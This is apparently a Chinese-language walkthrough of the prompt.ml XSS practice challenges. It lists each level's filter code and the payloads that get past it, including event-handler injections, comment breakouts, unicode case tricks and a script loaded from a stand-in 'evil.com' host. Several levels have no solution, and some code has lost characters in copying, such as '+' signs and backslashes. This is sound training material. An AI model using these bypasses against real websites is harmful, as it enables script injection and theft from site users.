平台地址:http://prompt.ml/
0. 轻松的开始
代码语言:javascript复制function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' input '">';
}
payload
代码语言:javascript复制">';<script>prompt(1)</script>>
"><svg/onload=prompt(1)>
"><img src="x" onerror=prompt(1)>
"onresize=prompt(1)>
1. 过滤 </
代码语言:javascript复制function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /</?[^>] >/gi;
input = input.replace(stripTagsRE, '');
return '<article>' input '</article>';
}
/</?[^>] >/gi
限定了 gi
意味着大小写和双写是绕不过的
(或许可以参考 PHP利用PCRE回溯次数限制绕过某些安全限制 思路,但是没多大意义)
payload
代码语言:javascript复制<svg/onload=prompt(1) // (1) 后有空格
2. 过滤 =(
代码语言:javascript复制function escape(input) {
//v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
payload
代码语言:javascript复制( 用 html 实体编码绕过
// Firefox
<svg><script>prompt(1)<b>
// Chrome
<svg><script>prompt(1)</script>
// ES6
<script>eval.call`${'promptx281)'}`</script>
<script>prompt.call`${1}`</script>
3. 注释符
代码语言:javascript复制function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' input ' -->';
}
payload
代码语言:javascript复制--> 和 --!> 都能闭合注释
--!><svg/onload=prompt(1)
4. 假同域
代码语言:javascript复制function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?//prompt.ml//i
.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
分析
代码语言:javascript复制// sample script: http://prompt.ml/js/test.js
看上去只能引用同域下的 js,但这里有个 decodeURIComponent 进行解码,很容易编码绕过。
/
是 /
的 URL 编码形式,浏览器将识别为普通的字符,再利用下 @
,这种技巧 SSRF 当中经常遇到。
payload
代码语言:javascript复制//prompt.ml/@evil.com/xss.js
一直不弹窗,打开 F12,发现了下面这个,原来是被 Chrome 拦截了 Provisional headers are shown
5. 未多行匹配
代码语言:javascript复制function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on. ?=|focus/gi, '_');
return '<input value="' input '" type="text">';
}
分析
没未启多行匹配,换行即可绕过一些限制,这一点很管用。
payload
代码语言:javascript复制type=image 定义图像形式的提交按钮。
"type=image src onerror
="prompt(1)
6. form 属性
代码语言:javascript复制function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML ' n
<script> n
// forbid javascript: or vbscript: and data: stuff n
if (!/script:|data:/i.test(document.forms[0].action)) n
document.forms[0].submit(); n
else n
document.write("Action forbidden.") n
</script> n
';
} catch (e) {
return 'Invalid form data.';
}
}
payload
代码语言:javascript复制javascript:prompt(1)#{"action":1}
vbscript:prompt(1)#{"action":1}
后面的 action 覆盖了,可以过正则,但我的疑问是覆盖掉了,前面的 action 值不会变吗
看输出的HTML,<form action='' 这里直接是第一个值,验证的时候是document.forms[0].action,
应该是这里的问题,再好好想想
7. 长度限制
代码语言:javascript复制function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' title.slice(0, 12) '"></p>';
}).join('n');
}
payload
代码语言:javascript复制我的第一想法是,存起来,然后在拼一下,然而不太现实
”><svg/onload'/*#*/=prompt(1) 直接这样的话长度会超了
这个操作太强了
"><svg/a=#"onload='/*#*/prompt(1)'
<p class="comment" title=""><svg/a="></p><p class="comment" title=""
onload='/*"></p><p class="comment" title="*/prompt(1)'"></p>
单引号没必要吧,"><svg/a=#"onload=/*#*/prompt(1)
"><script x=#"async=#"src="//⒛₨
<p class="comment" title=""><script x="></p>
<p class="comment" title=""async="></p>
<p class="comment" title=""src="//⒛₨"></p>
Background Info
The async attribute allows to utilize un-closed script elements. So this works in MSIE - a very useful trick: <script src="test.js" async>
8. 换行符
代码语言:javascript复制function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[rn</"]/g, '');
return ' n
<script> n
// console.log("' input '"); n
</script> ';
}
payload
代码语言:javascript复制补充知识
Javascript 中 valid line separators 除了r n,还有:
u2028 (Line Separator)
u2029 (Paragraph Separator)
--> 在js中可以当作注释符(单行注释)
[U2028]prompt(1)[u2028]-->
一直不弹窗,字符打不出来?
9. 特殊字符献奇招
代码语言:javascript复制function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' input '</h1>';
}
payload
代码语言:javascript复制code-breaking 中 easy-nodechr 类似,形近字绕过
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
混入了两个奇特的字符"ı"、"ſ"。
这两个字符的“大写”是I和S。也就是说
"ı".toUpperCase() == 'I',
"ſ".toUpperCase() == 'S'。
通过这个小特性可以绕过一些限制。
<ſvg/onload=prompt(1)
此路不通,prompt 大写失效
unicode码包含了许多国家的语言文字,有一些语言的字母调用Upper函数进行大写,由于没有对应的大写文字,会自动转换为英文字母,而在url中,协议和域名是不区分大小写
<ſvg><ſcript/href=//127.0.0.1/xss.js>
<ſcript/ſrc=//127.0.0.1/xss.js></ſcript>
10. 多次过滤帮倒忙
代码语言:javascript复制function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. )DONT FLIP ME BRO
return '<script>' input '</script> ';
}
payload
代码语言:javascript复制前后呼应
p'rompt(1)
11.
代码语言:javascript复制function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|s */\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' memberName '."}';
// directly "parse" data in script context
return ' n
<script> n
var data = ' dataString '; n
if (data.action === "login") n
document.write(data.message) n
</script> ';
}
payload
代码语言:javascript复制小 trick
"string"(prompt(1)) 将正常执行
"(prompt(1))in"
这里的 in 还可以用 instanceof 替代
Same story with alert(1)in"test":
TypeError: Cannot use 'in' operator to search for 'undefined' in test
12
代码语言:javascript复制function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( o°o)
return '<script>' input '</script> ';
}
payload
代码语言:javascript复制encodeURIComponent() 不会对 ASCII 字母和数字进行编码,
也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。
尝试使用 String.fromCharCode(112, 114, 111, 109, 112, 116),但是 , 被编码
.() 不会被编码,所以可以利用 toString() 构造
toString(radix) 中 radix 为 2-36 可以选36使其作为一个进制,将字符包含起来
使用parseInt(str, radix) 将字符转为数字之后使用(number).toString(radix) 然后用eval进行调用
注意number有括号,(number).toString(radix) 可简写为 (numbrer..toString(radix) ,字符之间用concat()连接
parseInt('prompt', 36) //1558153217
eval((1558153217).toString(36))(1)
还可以
eval(1558153217..toString(36))(1)
甚至可以直接暴力循环着self里的函数,找到prompt:
for((i)in(self))eval(i)(1)
13
代码语言:javascript复制 function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i ) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"https://img.yuanmabao.com/zijie/pic/2023/05/09/0idepzmz5tt.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^w:/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
payload
代码语言:javascript复制
14
代码语言:javascript复制function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(///|w :/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\& %s]|vbs/gi, '_');
return '<img src="' input '">';
}
payload
代码语言:javascript复制
15
代码语言:javascript复制function escape(input) {
// sort of spoiler of level 7
input = input.replace(/*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' title.slice(0, 15) '" data-comment='{"id":' index '}'></p>';
}).join('n');
}
payload
代码语言:javascript复制与第 7 关类似,但是 /* 被过滤
那这里就可以用 HTML 的注释符
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
源码将变成:
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>
-1
代码语言:javascript复制function escape(input) {
// WORLD -1
// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');
return ' n
<script> n
if (history.length > 1337) { n
// you can inject any code here n
// as long as it will be executed n
{{injection}} n
} n
</script> n
'.replace('{{injection}}', input);
}
-2
代码语言:javascript复制function escape(input) {
// Christmas special edition!
// Ho ho ho these characters are in Santa's naughty list
input = input.replace(/[!=*`]/g, '');
// pass in your wishes like pets#toys#half-life3...
var segments = input.split('#');
return segments.map(function(title, index) {
// Don't be greedy! Each present can only contain 20 characters
return '<p class="present" title="' title.slice(0, 20) '"></p>';
}).join('n');
}
-3
代码语言:javascript复制function escape(input) {
// I iz fabulous cat
// cat hatez dem charz
var query = input.replace(/[&#>]/g, '');
var script = document.createElement('script');
// find me on Twttr
script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' query '&callback=swag';
return '<input name="query" type="hidden" value="' query '">'
script.outerHTML;
}
-4
代码语言:javascript复制function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');
return '<body onload="think.out.of.the.box(' input ')">';
}
分析
“
被过滤了,
payload